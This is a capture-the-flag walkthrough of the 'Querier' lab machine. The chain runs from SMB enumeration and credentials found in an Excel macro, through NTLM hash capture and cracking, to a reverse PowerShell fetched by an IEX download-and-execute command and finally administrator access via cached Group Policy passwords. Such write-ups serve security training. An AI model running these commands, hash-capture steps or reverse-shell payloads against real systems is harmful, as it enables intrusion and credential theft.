TL;DR
A open SMB share gives access to a script that makes connections to a MSSQL server. From this script credentials for the server can be obtained. With this a NTLMv2
hash can be captured from the mssql-svc
user. The hash can be cracked and the gained credentials can be used to spawn a reverse power shell. Enumeration of the system reveals that the administrator password was cached allowing us to log in as the administrator.
User
Nmaping the target reveals the following.
nmap -sS -sV -sC -T5 -p- -o nmap-tcp-full 10.10.10.125
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 16:01 GMT
Warning: 10.10.10.125 giving up on port because retransmission cap hit (2).
Nmap scan report for querier.htb (10.10.10.125)
Host is up (0.035s latency).
Not shown: 65225 closed ports, 296 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-02-17T14:24:31
|_Not valid after: 2049-02-17T14:24:31
|_ssl-date: 2019-02-17T16:04:34+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-17 16:04:38
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.20 seconds
From this we can see that there is a Microsoft SQL Server running along with an smb2 server.
SMB
Lets check if the SMB
server has any shares we can access anonymously.
smbclient -L 10.10.10.125
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
The Reports
share is looking suspicious next we can query our permissions and find out if we can read and write to the shares with smbmap
smbmap -u Anonymous -H 10.10.10.125
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.125...
[+] IP: 10.10.10.125:445 Name: querier.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
Reports READ ONLY
As we have read access we can connect to the share with smbclient
.
smbclient //10.10.10.125/Reports
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 28 23:23:48 2019
.. D 0 Mon Jan 28 23:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 22:21:34 2019
6469119 blocks of size 4096. 1463416 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (77.5 KiloBytes/sec) (average 77.5 KiloBytes/sec)
smb: \> exit
There is a single file which can be downloaded with get
.
file Currency\ Volume\ Report.xlsm
Currency Volume Report.xlsm: Microsoft Excel 2007+
Analysing the file header shows that the file is a Microsoft Excel
document and basic knowledge of excel file extensions tells us .xlsm
corresponds to a macro enabled work book. So due care must be taken when working with the file.
As the extension suggested the workbook does contain a macro. Luckily the macro isn't malicious and instead makes a connection to a remote database.
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
From the script we can extract credentials for the Microsoft SQL Server
with these we can connect to the server with Metasploit
.
It is important to set USE_WINDOWS_AUTHENT
to true
otherwise the connection will fail.
As it is likely we will be using a few different metasploit
modules with the same options using setg
instead of set
will make the options persistent across modules for the rest of the metasploit
session saving you loads of time!
msf5 auxiliary(admin/mssql/mssql_enum) > show options
Module options (auxiliary/admin/mssql/mssql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD PcwTWTHRwryjc$c6 no The password for the specified username
RHOSTS 10.10.10.125 yes The target address range or CIDR identifier
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
USERNAME reporting no The username to authenticate as
USE_WINDOWS_AUTHENT true yes Use windows authentification (requires DOMAIN option set)
The mssql_enum
module attempts to enumerate the server and prints relevant information.
msf5 auxiliary(admin/mssql/mssql_enum) > run
[*] 10.10.10.125:1433 - Running MS SQL Server Enumeration...
[*] 10.10.10.125:1433 - Version:
[*] Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
[*] Aug 22 2017 17:04:49
[*] Copyright (C) 2017 Microsoft Corporation
[*] Standard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
[*] 10.10.10.125:1433 - Configuration Parameters:
[*] 10.10.10.125:1433 - C2 Audit Mode is Not Enabled
[*] 10.10.10.125:1433 - xp_cmdshell is Not Enabled
[*] 10.10.10.125:1433 - remote access is Enabled
[*] 10.10.10.125:1433 - allow updates is Not Enabled
[*] 10.10.10.125:1433 - Database Mail XPs is Not Enabled
[*] 10.10.10.125:1433 - Ole Automation Procedures are Not Enabled
[*] 10.10.10.125:1433 - Databases on the server:
[*] 10.10.10.125:1433 - Database name:master
[*] 10.10.10.125:1433 - Database Files for master:
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\master.mdf
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
[*] 10.10.10.125:1433 - Database name:tempdb
[*] 10.10.10.125:1433 - Database Files for tempdb:
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\templog.ldf
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\tempdb_mssql_2.ndf
[*] 10.10.10.125:1433 - Database name:model
[*] 10.10.10.125:1433 - Database Files for model:
[*] 10.10.10.125:1433 - Database name:msdb
[*] 10.10.10.125:1433 - Database Files for msdb:
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\MSDBLog.ldf
[*] 10.10.10.125:1433 - Database name:volume
[*] 10.10.10.125:1433 - Database Files for volume:
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\volume.mdf
[*] 10.10.10.125:1433 - C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\volume_log.ldf
[*] 10.10.10.125:1433 - System Logins on this Server:
[*] 10.10.10.125:1433 - sa
[*] 10.10.10.125:1433 - QUERIER\reporting
[*] 10.10.10.125:1433 - Disabled Accounts:
[*] 10.10.10.125:1433 - sa
[*] 10.10.10.125:1433 - No Accounts Policy is set for:
[*] 10.10.10.125:1433 - All System Accounts have the Windows Account Policy Applied to them.
[*] 10.10.10.125:1433 - Password Expiration is not checked for:
[*] 10.10.10.125:1433 - sa
[*] 10.10.10.125:1433 - System Admin Logins on this Server:
[*] 10.10.10.125:1433 - sa
[*] 10.10.10.125:1433 - Windows Logins on this Server:
[*] 10.10.10.125:1433 - QUERIER\reporting
[*] 10.10.10.125:1433 - Windows Groups that can logins on this Server:
[*] 10.10.10.125:1433 - No Windows Groups where found with permission to login to system.
[*] 10.10.10.125:1433 - Accounts with Username and Password being the same:
[*] 10.10.10.125:1433 - No Account with its password being the same as its username was found.
[*] 10.10.10.125:1433 - Accounts with empty password:
[*] 10.10.10.125:1433 - No Accounts with empty passwords where found.
[*] 10.10.10.125:1433 - No Dangerous Stored Procedure found with Public Execute.
[*] 10.10.10.125:1433 - Instances found on this server:
[*] 10.10.10.125:1433 - Default Server Instance SQL Server Service is running under the privilege of:
[*] 10.10.10.125:1433 - .\mssql-svc
[*] Auxiliary module execution completed
In this case the most important information is that the MSSQL
server is running under mssql-svc
on the remote host.
We can use the mssql_ntlm_stealer
module to try to capture the ntlm hash of this user.
msf5 > use admin/mssql/mssql_ntlm_stealer
msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) > show options
Module options (auxiliary/admin/mssql/mssql_ntlm_stealer):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD PcwTWTHRwryjc$c6 no The password for the specified username
RHOSTS 10.10.10.125 yes The target address range or CIDR identifier
RPORT 1433 yes The target port (TCP)
SMBPROXY 10.10.12.216 yes IP of SMB proxy or sniffer.
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
THREADS 1 yes The number of concurrent threads
USERNAME reporting no The username to authenticate as
USE_WINDOWS_AUTHENT true yes Use windows authentification (requires DOMAIN option set)
Before the module is run a smbproxy
needs to be set up to capture the hash. In this case I used responder
which is a NetBIOS Name Service responder.
responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie ([email protected])
To kill this script hit CRTL-C
Once responder
is running the metasploit
module can be executed.
msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) > run
[*] 10.10.10.125:1433 - DONT FORGET to run a SMB capture or relay module!
[*] 10.10.10.125:1433 - Forcing SQL Server at 10.10.10.125 to auth to 10.10.12.216 via xp_dirtree...
[+] 10.10.10.125:1433 - Successfully executed xp_dirtree on 10.10.10.125
[+] 10.10.10.125:1433 - Go check your SMB relay or capture module for goodies!
[*] 10.10.10.125:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) >
The module works by tricking the mssql server into sending an authentication request to a arbitrary server. As we control the server we can use it to capture the hash used for authentication and then crack it offline.
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.125
[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Hash : mssql-svc::QUERIER:633c9e0769c4b770:C04309CD20A7DC2F00CDB27B2AB60C22:0101000000000000C0653150DE09D201550B285AA705ABC6000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000094366A031B5D743F5DEBA363F69B886A599494694A2192D056B7D4475C6014C70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00320031003600000000000000000000000000
[*] Skipping previously captured hash for QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Client : 10.10.10.125
[SMBv2] NTLMv2-SSP Username : \gX
[SMBv2] NTLMv2-SSP Hash : gX:::b7dbbd979b157f8b::
[*] Skipping previously captured hash for \gX
The module executed successfully and responder
captured the hash. We can now use hashcat
to crack the hash which is mode 5600 or NetNTLMv2
. rockyou.txt
is a sufficient word list as the hash cracks in a matter of seconds.
hashcat -a 0 -m 5600 mssql-svc::QUERIER:633c9e0769c4b770:C04309CD20A7DC2F00CDB27B2AB60C22:0101000000000000C0653150DE09D201550B285AA705ABC6000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000094366A031B5D743F5DEBA363F69B886A599494694A2192D056B7D4475C6014C70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00320031003600000000000000000000000000 /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
MSSQL-SVC::QUERIER:633c9e0769c4b770:c04309cd20a7dc2f00cdb27b2ab60c22:0101000000000000c0653150de09d201550b285aa705abc6000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d2010600040002000000080030003000000000000000000000000030000094366a031b5d743f5deba363f69b886a599494694a2192d056b7d4475c6014c70a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310032002e00320031003600000000000000000000000000:corporate568
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: MSSQL-SVC::QUERIER:633c9e0769c4b770:c04309cd20a7dc2...000000
Time.Started.....: Sun Feb 17 16:34:34 2019 (13 secs)
Time.Estimated...: Sun Feb 17 16:34:47 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 701.3 kH/s (3.87ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8962048/14344385 (62.48%)
Rejected.........: 0/8962048 (0.00%)
Restore.Point....: 8957952/14344385 (62.45%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: correita.54 -> coreyr1
This gives us a new set of credentials for the user mssql-svc
.
mssql-svc
corporate568
We can now execute commands on the remote host as mssql-svc
. Next job is getting a user level shell. To do this I'm going to use Invoke-PowerShellTcp.ps1 from nishang. First download the script and then add the following line to the bottom specifying where to send the shell. Finally, starting an http
server to host the file.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.MY.IP -Port 443
Now we can use the mssql_exec
script to download and execute our script.
set CMD 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"http://10.10.MY.IP:8000/Invoke-PowerShellTcp.ps1\")'
IEX
stands for Invoke-Expression
and executes the script whilst the rest downloads the script from out http server.
Care needs to be taken to escape punctuation when specifying the command in metasploit
.
msf5 > use auxiliary/admin/mssql/mssql_exec
msf5 auxiliary(admin/mssql/mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Command to execute
PASSWORD PcwTWTHRwryjc$c6 no The password for the specified username
RHOSTS 10.10.10.125 yes The target address range or CIDR identifier
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
USERNAME reporting no The username to authenticate as
USE_WINDOWS_AUTHENT true yes Use windows authentification (requires DOMAIN option set)
msf5 auxiliary(admin/mssql/mssql_exec) > set PASSWORD corporate568
PASSWORD => corporate568
msf5 auxiliary(admin/mssql/mssql_exec) > setg USERNAME mssql-svc
USERNAME => mssql-svc
msf5 auxiliary(admin/mssql/mssql_exec) > set CMD 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.208:8000/Invoke-PowerShellTcp.ps1\")'
CMD => powershell.exe IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.208:8000/Invoke-PowerShellTcp.ps1\")
msf5 auxiliary(admin/mssql/mssql_exec) > run
[*] 10.10.10.125:1433 - SQL Query: EXEC master..xp_cmdshell 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.208:8000/Invoke-PowerShellTcp.ps1\")'
[*] Auxiliary module execution completed
msf5 auxiliary(admin/mssql/mssql_exec) >
Also, don't forget to start a reverse shell listener.
nc -vnlp 443
listening on [any] 443 ...
connect to [10.10.14.208] from (UNKNOWN) [10.10.10.125] 49734
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>
If everything is correct you should now have a reverse powershell waiting for you.
Root
Next let's run PowerUp.ps1 which aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations
. Again the file needs to be hosted locally on an http server so it is accessible to the remote host.
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.208:8000/PowerUp.ps1")
In the same was as before we can use IEX
to execute the script.
PS C:\Windows\system32>IEX(New-Object Net.WebClient).downloadString("http://10.10.14.208:8000/PowerUp.ps1")
[*] Running Invoke-AllChecks
...
[*] Checking for cached Group Policy Preferences .xml files....
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Eventually, the script finds a set of credentials for the Administrator
.
Administrator
MyUnclesAreMarioAndLuigi!!1!
There are many ways to get a shell on a Windows system from a set of credentials. Many of these methods are outlined in the below article.
https://blog.ropnop.com/using-credentials-to-own-windows-boxes/
Here I used wmiexec.py
which worked out of the box and without having to install software (on kali at least). Admittedly, the shell is relatively slow so alternative methods may be better and are interesting to look through.
wmiexec.py 'QUERIER/Administrator:[email protected]'
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
querier\administrator
C:\>